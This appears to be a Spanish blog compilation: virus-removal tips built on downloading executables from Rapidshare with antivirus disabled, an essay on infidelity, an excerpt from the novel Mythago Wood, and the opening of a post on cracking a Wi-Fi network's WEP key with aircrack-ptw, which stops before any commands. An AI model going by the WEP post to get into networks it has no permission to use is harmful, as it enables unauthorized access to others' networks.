Win32/PSW.OnLineGames

Aqui les pongo como reparar ese maldito virus que como jode:

Con tu memoria USB conectada, descarga y ejecuta Flash_Disinfector.

Luego
- Descarga la herramienta ComboFix.exe y guárdala en el escritorio.
Desactiva temporalmente el Antivirus y/o Antispyware.
Cierra todas las ventanas abiertas.
Hacele doble clic al archivo ComboFix.exe y seguí las instrucciones.
Cuando termine, generara un registro en C:\ComboFix.txt.
*Nota* Mientras CF este trabajando no mover el mouse ya que pararía su proceso.
*Nota* ComboFix puede reiniciar automáticamente el PC para completar el proceso de eliminación.

ComboFix:
http://rapidshare.com/files/169727395/ComboFix.exe

Flash desinfector:

http://rapidshare.com/files/169728024/Flash_Disinfector.exe

Infidelidad

INFIDELIDAD, CAUSAS, CONSECUENCIAS Y CRISIS DE PAREJA

La infidelidad se vive como la peor traición de la pareja y se piensa que el infiel es el culpable de un grave daño a la relación de pareja, ya que, se supone que en la relación de pareja se tiene todo lo que necesita para vivir bien.

Generalmente se piensa que la infidelidad se relaciona con encuentros sexuales extra pareja.

Pero, también existe la infidelidad producto de las crisis o problemas en la pareja; en este tipo de infidelidad no sólo se trata de un evento sexual, ya que el o la infiel busca lo que no encuentra con su pareja, por ejemplo aspectos intelectuales, físicos, emocionales, de atención, económicos, etc.

Para poder entender un poco mas de la infidelidad, debemos decir que, la infidelidad existe siempre y cuando, primero exista una pareja, puede ser noviazgo, vivir juntos, matrimonio, etc.; a resumidas cuentas, la infidelidad va a afectar la relación de una pareja.

Esto surge, en parte por nuestra sociedad, ya que crecemos y somos educados para pensar que la monogamia será el tipo de relación en la que viviremos y por lo tanto, tenemos muchos argumentos de educación que así lo determinan.

Los factores de educación van conformando la moral, los valores, costumbres, normas, formas de comportamiento, etc. Y nos educan como personas con lo que conocemos como una conducta “normal” (nos referimos con normal que esta dentro de la norma social vigente) y lo normal en nuestra sociedad es que vivamos en pareja, repito es una forma educativa de tipo social, y debemos tomar en cuenta que existen otras formas, creencias, valores y costumbres.

Hasta aquí todo va claro, pero el problema surge cuando nos damos cuenta que los seres humanos en ocasiones pedimos cosas opuestas a lo que se esperaba, sobre todo en aspectos relacionados con la pasión y el amor.

La pasión que en ocasiones se desaparece o cambia y el amor que se desvanece cuando la rutina y la monotonía van llenando a la pareja de obligaciones, decepciones, mala comunicación, mala economía, mala salud, etc.

Pero ¿cómo definir la infidelidad entonces?.- De una manera rápida la podemos definir como las relaciones extra conyugales o extra pareja, sean de tipo sexual o afectivo.

Entendemos la relación fuera del lazo o compromiso de pareja, ya que se había establecido un acuerdo de estar juntos los dos sexual y emocionalmente el uno para el otro en exclusividad, al menos es lo esperado.

Pero y ¿Qué provoca la infidelidad?
Contra lo que muchos piensan, no es un solo factor y cada conjunto de factores dependen de cada persona y de cada situación y por lo tanto es muy difícil definir que produce la infidelidad. Lo que si se puede adelantar para entenderla son los factores que predisponen a las personas a la infidelidad:


Uno de los factores que provoca la infidelidad se refiere a la elección de la propia pareja.- Es importante señalar que no es del todo cierto que elegimos libremente a la pareja, por lo general la "decisión" está dada por factores restringidos al circulo en el que nos desarrollamos, es decir, la elección no es al azar sino que está altamente determinada de acuerdo con las actividades que realizamos, las cuales nos permiten "conocer" o relacionarnos con otras personas.

Incluso existen teorías que nos dicen que nos sentimos atraídos por personas que realizan actividades similares a nosotros, tal es el caso de las relaciones que se desarrollan en la escuela, en el trabajo, en el gimnasio, en los círculos de amigos, etc.

Generalmente en las relaciones de pareja donde se presentan episodios de infidelidad, producen formas de amor y odio o de amor y dolor; esto es causado por que suponemos que el otro "debe" satisfacer nuestras necesidades, lo cual se da muchas veces a nivel inconsciente. Las necesidades son de manera completa e integra, entre ellas destacan, lo económico, la atención, el amor, lo sexual, la protección, la fidelidad, etc.

Por ejemplo, la pareja complementaria, en donde uno "manda" y es considerado más desarrollado, mejor, más capaz, con mas dinero, etc., puede verse seriamente afectada cuando el "obediente" obtiene, por ejemplo logros que lo hacen salir del esquema anterior, o entender la relación desde otra perspectiva.

En este ejemplo, el "obediente", realiza una elección del tipo analítico pero dados los logros, su relación se transforma en una elección basada mas en la confianza en si mismo. La relación continúa siempre que la elección sea ratificada por ambos miembros de la pareja.

Puede darse el caso de que la elección de la pareja se base en un afán de evitar la depresión o de no querer estar “solo consigo mismo”, y esto haga que la elección sea de tipo analítico y cuando descubra que su pareja no es la solución a sus problemas buscara entonces una relación extra.

Las situaciones anteriores, hacen referencia a elecciones de pareja poco sanas, en la medida en que se hacen modos de relación rígidas que ante cualquier crisis o problema "vital" de la pareja, resultarán las conductas inoperantes para resolver o cuando menos llevar a buen término los problemas que la aquejan. Y una de las conductas que hace inoperante la relación de pareja es la infidelidad.

En ese momento, lo que parecía amor, se va tornando en frustración, coraje y odio, lo cual puede desencadenar que se busque un amante que sea totalmente opuesto a lo que es la pareja, aunque también pueden aparecer personas circunstanciales que podrán general los cuadros de infidelidad, por ejemplo, el caso donde un (a) amigo (a) o compañero (a) de trabajo se vuelve la persona que nos escucha sobre los problemas que tenemos. La compenetración que se logra al contar nuestras penas es tanta, que muchas de la veces puede generar un romance.

Ya que eso brinda como un desahogo emocional, en ocasiones esto permite seguir en la relación de pareja, ya que de alguna manera se logra compensar que lo no se tiene con la pareja.

Esto tiene una lógica basada en la existencia de relaciones de infidelidad en donde la relación sexual no es lo más importante, sino la necesidad de sentirse escuchado y atendido por otra persona.

La relación extra conyugal también se llega a presentar por que alguno de los dos se siente amenazado en su autonomía y a través de otra relación, se logran sentir apoyados o con un “valor extra” que permite enfrentar las cosas que solo (a) no se podía. Sobre todo que la extra relación permite seguir sintiendo cierta autonomía.

También existen relaciones extra pareja cuando se sienten que la pareja amenaza la independencia y la autonomía y se tienen miedo a quedar atrapado (a), en este sentido, se observan personas que una vez que el/la amante inicia sus exigencias, buscarán nuevamente otra relación que los "salve" tanto del cónyuge como del amante "devorador" o bien, pueden mantenerse así para evitar ser absorbidos por ambas.

Hasta aquí hemos dado un repaso de algunas de las causantes de la infidelidad, y diremos que es necesario, para mantener una buena relación de pareja, establecer cierta independencia y autonomía entre los miembros de la pareja, para lo cual se debe considerar que:

Se debe mantener una buena comunicación efectiva en la pareja.

Se recomienda constatar el laso de unión en la pareja.

Se considera importante renovar los acuerdos de la pareja.

Y finalmente, es importante recomendar el revisar como quieres vivir, ya que la fidelidad también es un acto de convicción, esto quiere decir que para mantenerte tranquilo (a) en una relación, debes planear que tipo de relación quieres y propones, ya que la infidelidad se relaciona con el acto de mentir o engañar a la pareja, ya que esta desconoce nuestras intenciones.

Bosque Mítago

Prólogo

Edward Wynne-Jones Esq.
15 College Road Oxford
Edward:
Tienes que volver al Refugio. ¡Por favor, no te retrases ni una hora! He descubierto un
cuarto camino hacia las zonas más profundas del bosque. El arroyo. Qué obvio parece
ahora... ¡un camino de agua! Pasa directamente a través del vórtice exterior de fresnos,
más allá del sendero espiral y de las Cataratas de Piedra. Creo que nos servirá para
llegar al mismo corazón del bosque. ¡Pero el tiempo, siempre el factor tiempo...!
He encontrado un pueblo llamado los shamiga. Viven más allá de las Cataratas de
Piedra. Vigilan los vados del río, pero descubrí con gran satisfacción que les encanta
contar historias. Ellos lo llaman «narrar la vida». La narradora de la vida es una jovencita
que se pinta la cara de verde y cuenta las historias con los ojos cerrados, para que las
sonrisas o gestos desaprobadores de los que escuchan no la hagan «cambiar de forma»
a los personajes de la historia. La escuché durante mucho tiempo, pero lo más importante
que oí fue un fragmento que sólo puede pertenecer a la historia de Guiwenneth. Era una
versión precéltica del mito, pero estoy seguro de que se refiere a la chica. Esto es lo que
conseguí entender:
«Una tarde, tras matar a un ciervo con astas de ocho puntas, a un jabalí más alto que
dos hombres, y corregir los malos modales de cuatro pueblos, Mogoch, un jefe, se sentó
junto a la orilla para descansar. Era de constitución tan gigantesca, que las nubes casi le
tapaban la cabeza. Metió los pies en el mar, junto a la base de los acantilados, para
refrescarse. Luego se reclinó hacia atrás y observó la reunión que tenía lugar entre dos
hermanas sobre su fertilidad.
»Las hermanas eran gemelas, ambas hermosas, de hablar dulce y hábiles con el arpa.
Pero una de ellas se había casado con el jefe guerrero de una gran tribu, y pronto
descubrió que su vientre no podía concebir. Se volvió tan agria como la leche que ha
quedado demasiado tiempo expuesta al sol. La otra hermana se había casado con un
guerrero exiliado llamado Peregu. El campamento de Peregu estaba en los más
profundos desfiladeros de la parte más lejana del bosque, pero acudía junto a su amada
en forma de lechuza. Ella acababa de tener una hija, pero, como Peregu estaba exiliado,
la hermana de rostro amargado y su ejército se habían presentado para llevarse a la
criatura.
»Tuvo lugar una gran discusión, y las armas chocaron. La amada de Peregu ni siquiera
había tenido tiempo deponerle nombre a la niña, cuando su hermana le arrebató el
pequeño bulto envuelto en telas y lo alzó sobre su cabeza, para ser ella quien le diera
nombre.
»Pero el cielo se oscureció, y aparecieron diez urracas. Eran Peregu y sus nueve
hermanos de espada, mutados por la magia del bosque. Peregu descendió en picado,
tomó a la niña entre sus garras y se remontó, pero un tirador le derribó con su honda. La
niña cayó, pero los otros pájaros la recogieron en el aire y se la llevaron. Así que fue
llamada Hurfathana, que quiere decir "la niña criada por urracas".
»Mogoch, el jefe, contempló todo esto con diversión despectiva, pero sentía respeto
por el difunto Peregu. Recogió al pajarilla y le devolvió la forma humana.
Como tenía miedo de aplastar pueblos enteros si excavaba una tumba con el dedo,
Mogoch se metió al exiliado muerto en la boca, y se arrancó un diente para que le sirviera
de lápida funeraria. Así, Peregu fue enterrado bajo una gran piedra blanca, en un valle
que respira.» No hay duda, se trata de una versión primitiva de la historia de Guiwenneth,
y supongo que comprendes mi emoción. La última vez que vino la chica, pude preguntarle
sobre su tristeza. Me dijo que se había extraviado. No conseguía dar con el valle que
respiraba, ni la brillante roca bajo la que yacía su padre. Es la misma historia. ¡Lo sé, lo
presiento! Tenemos que invocarla de nuevo. Tenemos que ir otra vez más allá de las
Cataratas de Piedra. Necesito tu ayuda.
¿Quién sabe dónde y cuándo terminará esta guerra? Pronto llamarán a filas a mi hijo
mayor, y Steven no tardará en seguirle. Entonces, tendré más libertad para explorar el
bosque y hablar con la chica.
Tienes que venir, Edward.
Un saludo afectuoso.
George Huxley Diciembre de 1941
Primera parte - Bosque Mitago
Uno
En mayo de 1944 recibí los papeles de alistamiento y, de mala gana, partí hacia la
guerra. Mi entrenamiento tuvo lugar en Lake District, y luego me embarcaron hacia
Francia con el Séptimo de Infantería.
La noche anterior a la partida, estaba tan enfadado con mi padre por su aparente
despreocupación en lo relativo a mi seguridad, que, cuando se durmió, me acerqué
silenciosamente a su escritorio y arranqué una página de su libreta, el diario donde
detallaba su trabajo silencioso y obsesivo. El fragmento tenía como única fecha «Agosto
del 34», y lo leí muchas veces, desesperado por no comprender nada, pero contento de
haberle arrebatado al menos una pequeña parte de su vida, una parte que me sustentaría
en aquellos días dolorosos y solitarios.
La anotación comenzaba con un amargo comentario sobre las pérdidas de tiempo que
se le imponían: el mantenimiento de Refugio del Roble, nuestro hogar familiar, las
exigencias de sus dos hijos, y la difícil relación con su esposa, Jennifer. Si mal no
recuerdo, por aquel tiempo mi madre estaba gravemente enferma. Terminaba con un
párrafo memorable por su incoherencia:
Una carta de Watkins. Está de acuerdo conmigo en que, en ciertas épocas del año, el
aura que rodea el bosque puede llegar hasta la casa. Debo meditar sobre las
implicaciones. Quiere conocer el poder del vórtice roble que he medido. ¿Qué le cuento?
Desde luego, nada del primer mitago. También he notado que la zona premitago es cada
vez más rica. Pero, al mismo tiempo, es evidente que pierdo progresivamente el sentido
del tiempo.
Atesoré este pedazo de papel por muchas razones, pero sobre todo, porque
representaba los escasos momentos de interés apasionado de mi padre... aunque, al
mismo tiempo, no podía compartir este interés, igual que no podía compartir su vida
cuando estaba en casa.
Me hirieron a principios de 1945, y cuando terminó la guerra, me las arreglé para
quedarme en Francia. Viajé hacia el sur para pasar la convalecencia en un pueblo de las
colinas que hay más allá de Marsella, y allí viví con unos viejos amigos de mi padre. Era
un lugar cálido, seco, silencioso y tranquilo. Me pasaba horas y horas sentado en la plaza
del pueblo, y pronto se me consideró parte de la pequeña comunidad.
Las cartas de mi hermano Christian, que había vuelto a Refugio del Roble cuando
terminó la guerra, me llegaban puntualmente todos los meses durante el largo año de
1946. Eran cartas alegres, informativas, pero parecían cada vez más tensas:
evidentemente, la relación de Christian con nuestro padre se deterioraba por momentos.
El viejo no me escribió nunca, pero tampoco lo esperaba. Hacía mucho que me había
resignado, lo máximo que obtendría de él sería indiferencia.
Toda la familia no era más que una intrusión en su trabajo. Su sentimiento de
culpabilidad por habernos descuidado, y sobre todo por haber hecho que nuestra madre
se suicidara, se convirtió rápidamente, durante los primeros años de guerra, en una locura
histérica verdaderamente aterradora. Esto no quiere decir que estuviera gritando siempre;
todo lo contrario, se pasaba la mayor parte del tiempo en silencio, absorto en la
contemplación del bosque de robles cercano a nuestra casa. Estos períodos de silencio,
que al principio no le enfurecían por la distancia que interponían entre la familia y él, se
convirtieron pronto en una auténtica bendición.
Murió en noviembre de 1946, de una enfermedad que le había aquejado durante años.
Cuando me enteré, me sentí dividido entre lo poco que me atraía volver a Refugio del
Roble, en un rincón de Ryhope, en Herefordshire, y el evidente malestar de Christian.
Ahora, mi hermano estaba solo en la casa donde habíamos pasado juntos la infancia. Me
lo imaginaba recorriendo las habitaciones vacías, quizá sentado en el estudio húmedo e
insalubre de nuestro padre, recordando las horas de rechazo, el olor a madera y mantillo
que acompañaba al viejo al cruzar las puertas con paneles de cristal cuando regresaba de
sus expediciones de una semana a lo más profundo del bosque. Éste se había extendido
por esa habitación, como si mi padre no soportara estar lejos de los matorrales bajos y as
húmedas sombras de los robles, ni siquiera cuando recordaba que tenía una familia.
Demostraba recordarnos de la única manera en que sabía hacerlo: contándonos —sobre
todo, contando a mi hermano— historias sobre los antiguos bosques que se divisaban
desde la casa, sobre los robles, fresnos, hayas y otros árboles en cuyo oscuro interior
(dijo una vez) aún se podía oír y oler al jabalí salvaje, incluso seguir sus huellas.
Yo dudaba de que hubiera visto nunca a ese animal, pero aquella noche, sentado junto
a la ventana de mi habitación, contemplando el pueblecito en las colinas (todavía llevaba
la carta de Christian en la mano, hecha una bola), recordé con claridad cómo me había
dedicado a escuchar los gruñidos lejanos de algún animal del bosque, cómo atendía al
ruido del pesado desplazamiento de algo muy grande que se adentraba hacia el bosque
por el ventoso camino que llamábamos Sendero Profundo, una ruta que transcurría en
espiral hacia el mismo corazón del bosque.
Sabía que debía volver a casa, pero retrasé el viaje casi otro año. Durante ese tiempo,
las cartas de Christian cesaron bruscamente. En la última, fechada el diez de abril,
escribía sobre Guiwenneth, acerca de su extraño matrimonio, y aseguraba que me
sorprendería la encantadora muchacha por la que había perdido «corazón, mente, alma,
razón, talento para cocinar y casi todo lo demás, Steve».
Le escribí para darle la enhorabuena, claro, pero durante los meses siguientes no hubo
ninguna comunicación más entre nosotros.
Por fin, le escribí para hacerle saber que volvía a casa, que me quedaría en Refugio del
Roble unas semanas, y luego buscaría alojamiento en alguna de las ciudades cercanas.
Me despedí de Francia y de la comunidad que se había convertido en una parte
importante de mi vida. Viajé hasta Inglaterra en autobús y tren, en ferry y otra vez en tren.
El 20 de agosto, en coche de caballos, llegué hasta el tendido de ferrocarril en desuso
que marcaba el límite de los terrenos.
Refugio del Roble estaba al otro lado, a seis kilómetros si se daba un rodeo por la
carretera, pero mucho más cerca por un camino que atravesaba los campos y
bosquecillos de la finca. Mi intención era tomar la ruta más rápida, así que cogí lo mejor
que pude mi única y destartalada maleta y eché a andar por el descuidado sendero. De
cuando en cuando, echaba un vistazo por encima del alto muro de ladrillo rojo que
señalaba los límites de la propiedad, tratando de ver algo a través de la espesura de
pinos.
Pronto desaparecieron tanto el bosque como el muro, y la tierra se convirtió en una
serie de campos bordeados de árboles, a los que entré por un desvencijado portillo con
escalones de madera, casi oculto bajo las raíces de fresno y los arbustos fresales. No me
costó poco abandonar la vía pública y avanzar por el camino sur que atravesaba los
bosquecillos, serpenteando junto al riachuelo llamado «arroyo arisco», hacia la casa
cubierta de hiedra que era mi hogar.
Se acercaba el mediodía y el calor arreciaba cuando por fin avisté Refugio del Roble.
En algún lugar, a mi izquierda, se oía el sonido de un tractor. Pensé en el viejo Alphonse
Jeffries, el encargado de los terrenos. Y, junto con su rostro bronceado, sonriente, recordé
la alberca del molino y el pequeño bote de remos desde el que solía pescar.
El recuerdo de la tranquila alberca se apoderó de mí, y me aparté del sendero sur,
pese a que las ortigas me llegaban a la cintura, y los fresnos y los espinos crecían por
doquier. Me acerqué a la orilla de la amplia alberca sombreada. El espeso bosque de
robles del otro lado impedía verla en toda su extensión. Casi oculto entre los arbustos que
poblaban la orilla más cercana estaba el pequeño bote desde el que Chris y yo solíamos
pescar años antes. Había perdido casi por completo la capa de pintura blanca y, aunque
el casco parecía intacto, dudé que soportara el peso de un hombre adulto. No lo toqué.
Me limité a rodear la alberca para sentarme en los desiguales escalones de cemento que
llevaban al desvencijado embarcadero. Desde allí, contemplé la superficie de la alberca,
poblada por nubes de insectos, sólo alterada por el paso de algún que otro pez.
—Sólo nos harían falta un par de palos y un trozo de cordel. La voz de Christian me
sobresaltó. Debía de haber caminado desde el Refugio por el sendero que la vegetación
me impedía ver. Alegre, me puse en pie de un salto y me volví hacia él.
La sorpresa que me causó su aspecto fue tan brutal como si me hubieran golpeado, y
creo que se dio cuenta, aunque le rodeé con los brazos y le di un fuerte abrazo fraternal.
—Tenía que ver otra vez este lugar —dije.
—Te comprendo —asintió, mientras nos separábamos—. Yo suelo venir a menudo.
Nos miramos, y se hizo un extraño silencio. Y, de pronto, tuve la certeza de que no le
alegraba verme.
—Estás muy moreno —señaló—. Y muy demacrado. Saludable y enfermo al mismo
tiempo...
—Sol mediterráneo, recogida de la uva y una granada de metralla. Aún no me he
recuperado del todo. —Sonreí—. Pero me encanta estar de vuelta y verte de nuevo.
—Sí —respondió vagamente—. Me alegra que hayas regresado Steve. Me alegra
mucho. Me temo que la casa... bueno, no está muy ordenada. Tu carta no llegó hasta
ayer, y no he tenido tiempo de hacer nada. Pronto verás que las cosas han cambiado
bastante.
Sobre todo él. Apenas podía creer que éste fuera el joven alegre y vivaz que marchó
con su unidad en 1942. Había envejecido de una manera increíble, tenía el pelo surcado
de hebras grises, más evidentes al llevarlo largo y sucio. Me recordó a nuestro padre: la
misma mirada distante, ausente, idénticas mejillas demacradas, idénticas arrugas
profundas en todo el rostro. Pero lo que más me chocaba era su porte en general.
Siempre había sido del tipo recio, musculoso.
Ahora era como el proverbial espantapájaros, flaco, desgarbado, siempre nervioso.
Lanzaba miradas hacia todas partes, pero sin concentrarse nunca en mí.
Y olía. A bolas de naftalina, como si la camisa blanca y los anchos pantalones grises
que llevaba acabaran de salir del armario. Y había otro olor, por debajo del de la
naftalina..., el punzante aroma de bosque y hierba. Tenía tierra en las uñas y en el pelo, y
sus dientes amarilleaban.
Con el paso de los minutos, pareció relajarse ligeramente. Discutimos un poco, reímos
otro poco y paseamos alrededor de la alberca, golpeando los arbustos con palos. Pero no
podía librarme de la sensación de haber llegado a casa en un mal momento.
—¿Fue difícil... lo del viejo? Me refiero a los últimos días. Negó con la cabeza.
—Durante las dos últimas semanas, más o menos, le atendió una enfermera aquí. No
puedo decir que muriera en paz, pero al menos dejó de hacerse daño a sí mismo... y, de
paso, a mí.
—Iba a preguntártelo. En tus cartas sugerías que había cierta hostilidad entre vosotros.
Christian frunció los labios en una sonrisa sombría, y me miró con una expresión
extraña, algo a medio camino entre el asentimiento y la sospecha.
—Más bien una guerra abierta. Poco después de que yo regresara de Francia, se
volvió bastante loco. Tendrías que haber visto la casa, Steve. Tendrías que haber visto al
viejo. Creo que llevaba meses sin lavarse. No sé qué habría estado comiendo... Desde
luego, nada tan sencillo como huevos y carne. Para ser sincero, durante unos meses creí
que se alimentaba de madera y hojas. Estaba en unas condiciones desastrosas. Me dejó
ayudarle con su trabajo, pero pronto empezó a odiarme. Trató de matarme más de una
vez, Steve. Y lo digo en serio, auténticos atentados contra mi vida. Supongo que tenía un
motivo...
El relato de Christian me dejó atónito. La imagen de mi padre había cambiado.
De ser un hombre frío, resentido, a convertirse en una figura enloquecida que se
lanzaba sobre mi hermano para golpearle con los puños.
—Siempre pensé que te quería más a ti. Era a ti a quien contaba las historias del
bosque. Yo escuchaba, pero siempre era a ti a quien sentaba sobre sus rodillas.
¿Por qué iba a intentar matarte?
—Me involucré demasiado —fue toda la respuesta de Christian. Me ocultaba algo, algo
de importancia fundamental. Se le notaba en el tono de voz, en la expresión hosca, casi
resentida. ¿Debía presionarle o no? Difícil decisión. Nunca me había sentido tan lejos de
mi propio hermano. Me pregunté si su comportamiento repercutía en Guiwenneth, la chica
con quien se había casado. Me pregunté qué clase de atmósfera estaría respirando la
pobre en Refugio del Roble.
Saqué el tema de la chica con precaución. Christian golpeó furioso los arbustos de la
alberca.
—Guiwenneth se ha ido —fue toda su respuesta. Me detuve, sobresaltado.
—¿Qué quieres decir, Chris? ¿Adonde ha ido?
—Simplemente se ha ido —replicó furioso, de mala gana—. Pertenecía a papá, se ha
ido, y no hay más que hablar.
—No sé qué quieres decir. ¿Dónde está? En tu carta parecías tan feliz...
—No debí escribirte sobre ella. Fue un error. Ahora, deja el tema, ¿vale?
Después de aquella réplica, me sentía cada vez más intranquilo con Christian.
Desde luego, le sucedía algo terrible, y era evidente que la partida de Guiwenneth
había contribuido en gran manera a aquel terrible cambio que no podía dejar de advertir.
Pero también sentí que había algo más. Y no podía saber qué era, a menos que Christian
hablara de ello.
—Lo siento —fueron las únicas palabras que conseguí formular.
—No lo sientas.
Caminamos en dirección al bosque, donde el suelo se volvía fangoso e inseguro
durante unos metros, antes de desaparecer en un pantano musgoso de piedras, raíces y
madera putrefacta. Los rayos del sol apenas conseguían atravesar el espeso follaje de los
árboles, y hacía frío. Los densos arbustos se movían con la brisa, y vi como el bote se
mecía ligeramente.
Christian siguió la dirección de mi mirada, pero no se fijó en el bote ni en la alberca.
Estaba perdido en algún lugar de sus propios pensamientos. Durante un breve instante, la
tristeza me atenazó al ver a mi hermano tan destruido en aspecto y actitud. Quería
desesperadamente tocarle el brazo, estrecharle, y era terrible, pero me daba miedo
hacerlo.
—¿Qué demonios te ha pasado, Chris? ¿Estás enfermo? —le pregunté con una voz
bastante serena. Por un momento no respondió.
—No estoy enfermo —dijo al final.
Dio una patada a una seta seca, que quedó convertida en un polvillo que la brisa
arrastró. Me miró con algo parecido a la resignación en su rostro obsesionado.
—He cambiado un poco, nada más. He retomado el trabajo del viejo. Quizá se me haya
pegado algo de su indiferencia.
—Si es así, quizá deberías dejarlo una temporada.
—¿Por qué?
—Porque la obsesión del viejo terminó por matarle. Y, por tu aspecto, sigues el mismo
camino.
Christian sonrió un instante, y lanzó el palo a la alberca, donde salpicó un poco y quedó
flotando en un charco de sucias algas verdes.
—Quizá valga la pena morir por lo que él buscaba..., aunque no lo encontrara.
No comprendí el tono dramático en la afirmación de Christian. El trabajo que tanto
había obsesionado a nuestro padre consistía en dibujar mapas del bosque, en buscar
pruebas de la existencia de sus antiguos pobladores. Había inventado toda una nueva
jerga para su propio uso, y consiguió dejarme completamente al margen, sin la menor
posibilidad de comprender su trabajo. Se lo dije a Christian.
—Es muy interesante, pero no tanto como crees —añadí.
—Hacía mucho, mucho más que dibujar mapas. Pero ¿recuerdas esos mapas, Steve?
Increíblemente detallados...
Recordaba uno con bastante claridad, el más grande de todos. Mostraba con gran
precisión los senderos y los caminos menos importantes, que atravesaban los grupos de
árboles y montículos pedregosos. Los claros estaban dibujados con precisión casi
obsesiva, cada uno numerado e identificado, y todo el bosque aparecía dividido en zonas
con nombre propio. Una vez, Chris y yo montamos un campamento en uno de los claros,
en el bosque, aunque no nos adentramos demasiado.
—Muchas veces intentamos adentrarnos más. ¿Recuerdas aquellas expediciones,
Chris? En cuanto terminaba el sendero profundo, nos perdíamos. Y nos asustábamos
mucho.
—Cierto —replicó Christian con voz tranquila, mientras me miraba de una manera
enigmática—. ¿Y si te dijera que el bosque nos impidió entrar? —añadió—, ¿Me creerías?
Contemplé los grupos de arbustos, árboles y sombras, donde apenas llegaba la luz del
sol.
—Supongo que, en cierto modo, lo hizo —respondí—. Nos impidió adentrarnos más
porque nos hizo tener miedo, porque hay pocos senderos y está lleno de piedras y
raíces... Es muy difícil caminar por ahí. ¿Te refieres a eso? ¿O a algo un poco más
siniestro?
—«Siniestro» no es la palabra que yo utilizaría —señaló Christian. Pero, por el
momento, no añadió nada más, Se agachó para recoger una hoja de un roble pequeño,
inmaduro, y la frotó entre el índice y el pulgar antes de aplastarla con el puño. Todo esto
sin dejar de mirar hacia el bosque.
—Éste es un bosque de robles, Steve. Un bosque virgen desde los tiempos en que
todo el país estaba cubierto de bosques de árboles caducos: robles, fresnos, saúcos,
serbales, espinos...
—Y todos los demás —le interrumpí con una sonrisa—. Recuerdo la lista que nos hacía
el viejo.
—Cierto. Y hay más de cinco kilómetros cuadrados de bosque desde aquí hasta
Grimiey. Cinco kilómetros cuadrados de auténtico bosque posterior a la Era Glaciar. Y ha
permanecido intacto, sin que nadie lo invadiera, durante miles de años.
Pareció despertar de un sueño, y me miró con gesto duro.
—Se resisten a cambiar —añadió.
—Siempre pensó que había jabalíes vivos ahí dentro —dije—. Recuerdo que una
noche oí algo, y él me convenció de que se trataba de un jabalí salvaje, de un enorme
jabalí que corría por el lindero del bosque, en busca de una hembra.
Christian echó a andar de vuelta hacia el embarcadero, y le seguí.
—Seguramente tenía razón. Si ha sobrevivido algún jabalí de la Edad Media, estará en
un bosque como éste.
Como estaba pensando en sucesos acaecidos muchos años antes, los recuerdos
fueron regresando muy despacio. Volví a ver imágenes de mi infancia: el sol abrasador
sobre la piel arañada por las zarzas, las excursiones de pesca a la alberca del molino, los
campamentos entre los árboles, los juegos, las exploraciones... y, una y otra vez, recordé
a Brezo.
Mientras volvíamos hacia el pisoteado sendero que llevaba al Refugio, discutimos
sobre la visión. Yo tenía nueve o diez años. Íbamos hacia el Arroyo Arisco a pescar, y
decidimos probar nuestros palos y cordeles en la alberca del molino con la vana
esperanza de atrapar a alguno de los peces depredadores que allí vivían. Cuando nos
acuclillamos junto al agua —sólo nos atrevíamos a salir con el bote si nos acompañaba
Alphonse—, vimos un movimiento entre los árboles, al otro lado de la orilla. Fue una
visión asombrosa, que nos dejó subyugados durante los meses siguientes..., además de
aterrorizarnos, desde luego. De pie, mirándonos, había un hombre vestido con pieles
marrones. Se ceñía con un ancho cinturón brillante, y la barba hirsuta, anaranjada, le
llegaba al pecho.
Llevaba unas ramitas en la cabeza, sujetas a la coronilla con una tira de cuero.
Nos contempló sólo un instante, antes de volver a la oscuridad. No oímos ni un ruido
durante aquel lapso, ni cuando se acercó, ni cuando desapareció.
Corrimos de vuelta a la casa, y llegamos ya algo más tranquilos. Christian concluyó que
debía de tratarse del viejo Alphonse, que nos quería tomar el pelo.
Cuando le mencionó a nuestro padre lo que habíamos visto, éste reaccionó casi con
furia, aunque Christian creía recordar que se había puesto nervioso, y que si nos gritó fue
por eso, no por habernos acercado a la alberca prohibida. Fue nuestro padre quien
empezó a llamarle «el Brezo», refiriéndose a las ramas de brezo que llevaba en la
cabeza. Y, poco después de que se lo contáramos, desapareció en el bosque durante
casi dos semanas.
—Fue la vez que volvió herido, ¿recuerdas? Ya habíamos llegado a Refugio del Roble,
y Christian me abrió la puerta de la valla.
—La herida de flecha. La flecha gitana. Dios, fue un día terrible.
—El primero de muchos.
Advertí que la mayor parte de la hiedra había desaparecido de los muros de la casa.
Ahora era un lugar gris, con pequeñas ventanas sin cortinas entre el ladrillo oscuro. El
tejado, con sus tres esbeltas chimeneas, quedaba parcialmente oculto entre las ramas de
una enorme haya vieja. El patio y los jardines estaban sucios, descuidados; el corral de
los pollos, vacío; los establos para animales, deteriorados, casi en ruinas. Desde luego,
Chris lo había descuidado todo. Pero, cuando atravesé el umbral, me sentí como si nunca
hubiera estado fuera de allí. La casa olía a comida rancia y a cloro, y casi pude ver la
esbelta silueta de mi madre, limpiando la enorme mesa de pino de la cocina, con los gatos
a su alrededor, tendidos en el suelo de losetas rojas.
Christian estaba tenso otra vez. Me miraba de esa manera inquieta que delataba su
intranquilidad. Supuse que aún no sabía si alegrarse o enfadarse conmigo por haber
vuelto a casa. Por un momento, me sentí como un intruso.
—¿Por qué no deshaces las maletas y te refrescas un poco? —me dijo—. Puedes
instalarte en tu vieja habitación. Supongo que estará mal ventilada, pero no tardará en
airearse. Luego, cuando bajes, podemos comer algo. En cuanto tomemos el té,
tendremos todo el tiempo del mundo para charlar.
Sonrió, y me pareció que era un intento de hacer un chiste. Pero siguió hablando
rápidamente, mientras me miraba con frialdad.
—Porque, si te vas a quedar en casa una temporada, más vale que sepas lo que está
pasando aquí. No quiero que te entrometas en esto, ni en lo que estoy haciendo, Steve.
—No me meteré en tu vida, Chris...
—¿No? Ya veremos. No negaré que tu presencia me pone nervioso. Pero, ya que has
venido...
Se detuvo y, por un momento, pareció casi avergonzado.
—Bueno, ya hablaremos.

Crackin WEP: Chingarte la WEP de una Wi-Fi

Por necesidad de una red trabajando me puse a buscar como acceder a una red Wi-Fi protegida con clave WEP (Wired Equivalent Privacy) y me digamos que no son especialmente seguras. Existen programas como aircrack-ptw (http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw) permiten obtener la clave en unos pocos minutos, por lo que muchos ya recomiendan utilizar sistemas más avanzados como WPA o WPA2. En la web de la Universidad de Darmstadt explican cómo funciona este software, que analiza los paquetes de datos para capturar la contraseña. Con 40.000 paquetes, que se pueden obtener en menos de un minuto, las probabilidades de extraer la clave son de un 50%.

Hay otras formas de establecer dicha conexion. Aqui pongo una con base LINUX, que encontre por ahi:

